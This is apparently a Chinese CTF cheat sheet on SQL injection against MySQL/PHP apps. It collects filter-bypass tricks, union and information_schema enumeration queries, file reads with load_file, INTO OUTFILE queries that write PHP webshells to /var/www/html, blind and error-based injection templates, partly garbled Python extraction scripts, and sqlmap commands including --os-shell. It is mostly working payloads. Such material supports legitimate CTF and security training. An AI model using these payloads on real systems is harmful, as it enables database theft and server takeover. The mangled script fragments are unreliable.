CTF知识集-SQL注入
开头可能会用到的提醒
如果空格被过滤,/**/ ` %0b(tab) %09(tab) %0d(回车) %0a(换行) %0c(换页)
语句中 or 和 || 为同种意思
测试有几位可以用order by [几位] 来测试,如果没报错说明位数包含,如果报错说明位数不包含
union select被过滤可以使用union all select
where不能用,使用having
联合查询例子:select user,password from user where id=1 union select user,password from user where id=2
把一个查询到的数据给hex或者base64,union select id,hex/to_base64(username),password from user where username=’flag’
base64加解密:to_base64(“”)/from_base64(“”)
写入文件,union select 1,”“ into outfile ‘路径’
读取文件 union select 1,load_file(‘/var/www/html/flag.php’),3
sql注入对后面的语句注释可以用%23 或 –+
延时注入,如果读取文件,可以用load_file(‘文件名’)
常见的闭合,’ “ ‘) “) ‘)) 空格
宽字节注入漏洞, %df、%81、%E6、�均可绕过.问题代码 mysql_query(“SET NAMES gbk”);
这几个字符串在md5加密后,放到hex十六进制中,生成的字符串带’,在部分场景可以闭合使用: ffifdyop | e58 | 4611686052576742364
如果筛选条件的双引号和单引号无法使用,可以变为Hex代替。
例如: select id from user union select group_concat(table_name) from information_schema.tables where table_schema=”sibei”;
变为: select id from user union select group_concat(table_name) from information_schema.tables where table_schema=0x7369626569;反引号绕过,例如information_schema.tables和information_schema `tables`都可以使用
写Shell的几种方式
1:union select 写入
select * from stu where id=1 union select 1,2,’=phpinfo();?>‘ into outfile ‘/var/www/html/1.php’– -
- lines terminated by 写入(在行末尾写入)
select * from stu where id=1 into outfile ‘/var/www/html/1.php’ lines terminated by ‘‘– -
3.lines starting by 写入(在行头写入)
select * from stu where id=1 into outfile ‘/var/www/html/1.php’ lines starting by ‘‘– -
4.fields terminated by 写入(在每个字段后写入)
select * from stu where id=1 into outfile ‘/var/www/html/1.php’ fields terminated by ‘‘– -
5.columns terminated by 写入(在每个字段后写入)
select * from stu where id=1 into outfile ‘/var/www/html/1.php’ columns terminated by ‘‘– -
手工注入获取数据库等信息
普通语句:schema_name——数据库名;table_name——表名;column_name——字段名;
查数据库
查询所有数据库(一行返回): select group_concat(schema_name) from information_schema.schemata
查询所有数据库:select schema_name from information_schema.schemata limit 0,1
//limit 0,1 表示从查询,限制一行查询当前使用的数据库: select database()#
查数据库中的表
查询当前数据库所有的表:select table_name from information_schema.tables where table_schema=’数据库名’ limit 0,1#
//limit 表示从第一个开始,一共返回一行查询当前数据库所有的表(一行返回): select group_concat(table_name) from information_schema.tables where table_schema=database()
查询指定数据库所有的表(一行返回): select group_concat(table_name) from information_schema.tables where table_schema=’数据库名’
查询所有数据库所有的表(一行返回): select group_concat(table_name) from information_schema.tables
从表中查字段
查询所有字段名:select column_name from information_schema.columns where table_name=’表名’ limit 0,1#
//limit 0,1 表示从从第一个开始查,一共返回一行从表查询所有字段(一行返回): select group_concat(column_name) from information_schema.columns where table_name=’表名’
从字段查询所有数据
从字段查询所有数据(一行返回): select group_concat(字段1,字段2) from 表名
查询当前数据库字段内容:select * from 表名#
查询指定数据库的表: select group_concat(字段名) from 数据库.表名
时间盲注专题
- 原理: 可以执行sql语句,但是没有回显。那么可以用sql中的substr来检测有没有想要的字符,从而达到爆库
- 语句拆分详细if(substr((放入sql查询语句),从哪开始找,一共找几位)=’substr结果是什么字符’,成功执行这个,失败执行这个)
各种盲注查询
找到当前的在用的数据库
select if(substr((select database()),1,1)=’s’,sleep(3),1);
找所有的表
select if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),需要找的下标,1)=’需要找的字符’,sleep(2),1)
找到表中所有的字段名称
select if(substr((select group_concat(column_name) from information_schema.columns where table_name=’你想看的表名’ and table_schema=database()),需要找的下标,1)=’你想找的字符’,sleep(3),1)
从字段中找到想要的数据
select if(substr((select group_concat(你想看的字段1,你想看的字段2) from 你想看的表名表名),需要找的下标,1)=’想要找的字符’,sleep(3),1);
例子脚本
重点:为什么要使用timeout,timeout是最大延迟时间,是客户端到服务器到客户端的,如果和延时注入的时间相同,那么延时了,是一定比timeout是一定不够的,所以会执行except
import requests
url = “http://1ffa162f-51a1-4516-9904-03b03f4d641e.challenge.ctf.show/index.php?action=check&username=“
payload = “”
end = “&password=1”
string = “}abcdefghljkimnopqrstuvwxyz0123456789,_-@{“
def get_tablename():
1 | ret = '' |
def get_columns():
1 | ret = '' |
def get_dump():
1 | ret = '' |
if name == ‘main‘:
1 | # 获取表名 |
自己写的脚本
import requests
url = “http://7f378bf4-ff73-43ee-98c8-781a38f926f1.challenge.ctf.show/api/v4.php?id=“
string = “}abcdefghijklmnopqrstuvwxyz,_0123456789-{“
if name == ‘main‘:
1 | result = '' |
报错注入专题
两种报错注入,extractvalue 和 updatexml
select extractvalue(1,concat(0x7e,( 填入想执行的sql语句 ),0x7e))
select updatexml(1,concat(0x7e,( 填入想执行的sql语句 ),0x7e),1)
执行的sql语句参照本文开头记录的语句
Sqlmap使用
常用语句
列出当前数据库
cookie注入命令:sqlmap.py -u 注入点 –dbs
指定数据库猜表
Cookie注入命令:sqlmap.py -u 注入点 -D 数据库 –tables
猜字段
Cookie注入命令:sqlmap.py -u 注入点 -D 数据库 -T 表名 –columns
猜字段内容
Cookie注入命令:sqlmap.py -u 注入点 -D 数据库 -T 表名 -C “想破解的字段” –dump
常用参数
- –os-shell 获取os交互式shell –sql-shell 获取sql交互式shell
- –dbms=mysql 指定sql的数据库
- –forms 提交表单测试
- –batch 默认选项进行
- sqlmap xxx –dbs 列出所有数据库
- sqlmap xxx –D [数据库] –tables 列出该数据库的表名
- sqlmap xx -D [数据库] –T [表名] –columns 列出素有字段
- sqlmap xx -D [数据库] –T [表名] -C [字段] –dump 列出字段的所有内容
- –user-agent=xxx 指定UA –referer=xxx 伪装referer
- –data “id=1” 传参注入
- –method=”PUT” 传参方式改变
- –cookie=”xxx” 更改cookie
- –safe-url=xxx 设置在测试目标地址前访问的安全链接 –safe-freq=次数 设置两次注入测试前访问安全链接的次数
- –prefix=PREFIX 攻击载荷的前缀 –suffix=SUFFIX 攻击载荷的后缀
- –tamper=[内置脚本] 选择内置脚本
案例
基础
select username,password from user where username !=’flag’ and id = ‘“.$_GET[‘id’].”‘ limit 1;
答案 传入999’ or id =’26
去掉空格成功执行的实例
select id,username,password from user where id=’111’union select’1’,(selectpassword
fromuser
whereid
=’2’),3;
使用like绕过的实例
select id,username,password from user where username like ‘%fla%’;
使用group by xx筛选出列名出现次数 并且使用regexp匹配有没有关键词
select count(*) from user group by pass having pass regexp(0x xxxx);
- 先将pass出现的个数有几种回显出来,然后使用regexp来匹配
如果一个数据使用了md5($_POST[‘password’],true);
//拼接sql语句查找指定ID用户
$sql = “select count(*) from ctfshow_user where username = ‘$username’ and password= ‘$password’”;
$username = $_POST[‘username’];
$password = md5($_POST[‘password’],true);
- 当password传入ffifdyop,md5(“ffifdyop”,true),返回的二进制存在’or’6,存在sql注入
sql语句,where后面的语句如果不使用单引号
select pass from ctfshow_user where username = 0;
- 本句的username如果不用””,那么查询的时候会将所有数据回显